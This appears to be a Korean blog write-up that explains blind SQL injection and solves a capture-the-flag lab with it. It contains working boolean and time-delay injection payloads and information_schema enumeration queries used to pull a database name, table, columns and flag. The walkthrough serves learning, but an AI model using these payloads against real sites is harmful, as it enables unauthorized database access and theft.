Blind SQL Injection은 일반적인 SQL 인젝션과 유사하지만, 결과를 직접 확인할 수 없을 때 사용됩니다.
서버가 데이터베이스의 직접적인 결과를 반환하지 않더라도, 응답 상태, 시간 지연, 특정 메시지 등을 통해 데이터를 유추할 수 있습니다.
sql 질의문 결과가 화면에 나오지 않을때 사용
- 로그인 페이지
- 아이디 중복체크
' AND (SELECT database() = 'mydb') -- 참 '로그인 성공'
' AND (SELECT database() = 'wrongdb') -- 거짓 '로그인 실패'
' AND IF((SELECT database() = 'mydb'), SLEEP(5), 0) -- 참이면 5초 지연
' AND (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0 -- 참이면 특정 콘텐츠 표시
- 첫 번째 글자 추출
' AND (ASCII(SUBSTR((SELECT database()), 1, 1)) = 109) -- 'm'의 ASCII
- 두 번째 글자 추출
' AND (ASCII(SUBSTR((SELECT database()), 2, 1)) = 121) -- 'y'의 ASCII
첫 글자의 ASCII 값이 97~122(소문자)라고 가정.
ASCII(SUBSTR((SELECT database()), 1, 1)) > 109
- 참: 값이 110~122 사이.
- 거짓: 값이 97~109 사이.
' AND (LENGTH((SELECT database())) > 5) -- 참/거짓
앞서 알아본 Blind SQL Injection을 수행하는 과정에 대해 문제를 풀면서 알아보고자 한다.


조건문을 사용 시 제대로 동작하는 걸 볼 수 있고 값이 맞을 시 틀릴 시 참과 거짓으로 구분할 수 있다. 이는 곧 Blind SQL Injection을 할 수 있다는 얘기다.

조건이 참이 나왔기 때문에 select문이 정상작동되었음을 알 수 있다.
normaltic' and (ascii(substr((select ???),1,1)) > 0) and '1'='1
이번 Blind SQL Injection에서 사용할 쿼리이다. 참과 거짓으로 값을 유추해야 하기 때문에 substr를 사용해 글자를 잘라준 후 substr(data, index, num) 원하는 값을 찾은 후 index 값을 하나씩 올려가면서 값을 찾아가는 형태이다. 찾은 글자를 ascii를 이용해 숫자로 바꿔준다. 예를 들어 database 이름에 첫 번째 글자가 b라고 가정하면 ascii로 숫자로 변경해 주면 ascii code에서 b는 98이기 때문에 0 하고 비교하면 값이 크기 때문에 참이 나올 것이다. 이렇게 계속 찾아서 100을 입력했는데 98이 값이 작기 때문에 거짓이 나오면 하나씩 값을 맞춰서 일치하는 값을 유추해 내면 된다. 이게 하나하나 한다고 하면 너무 오래 걸리기 때문에 자동화 코드를 만드는 게 좋긴 하지만 이번에는 Blind SQL Injection에 대해 좀 더 익숙해져 보고자 하나하나 해보고자 한다!

normaltic' and (ascii(substr((select database()),1,1)) > 90) and '1'='1
사이트에서 직접 값을 입력해서 할 수 있지만 좀 더 빠르고 효율적으로 할 수 있게 burp suite repeater를 이용해서 값을 집어넣어 줬다. 33부터 126사이에 아스키코드 중에 값이 있을 것으로 생각하고 이진 탐색 방식을 이용해 db에 아스키코드값을 찾아낸 후 글자로 변화해 주었다.
98 108 105 110 100 83 113 108 105
DB: blindSqli
normaltic' and (ascii(substr((select table_name from information_schema.tables where table_schema = 'blindSqli' limit 0,1),1,1)) > 90) and '1'='1
위와 같은 방식으로 table에 이름도 찾아냈다.
102 108 97 103 84 97 98 108 101
Table: flagTable
normaltic' and (ascii(substr((select column_name from information_schema.columns where table_name = 'flagTable' limit 0,1),1,1)) > 90) and '1'='1
column은 총 2개의 column을 찾아냈다.
105 100 120
Column: idx
102 108 97 103
flag
normaltic' and (ascii(substr((select flag from flagTable),1,1)) > 90) and '1'='1
의심스러운 flag column 안에 있는 데이터를 확인해 보았다.
115 101 103 102 97 117 108 116 123 99 111 110 103 114 97 116 122 95 102 105 114 115 116 98 108 105 110 100 115 113 108 105 125
segfault{flag}
flag가 이렇게 길 줄은 몰랐다.. blind sql injection은 꼭 자동화 코드를 개발해서 해야겠다..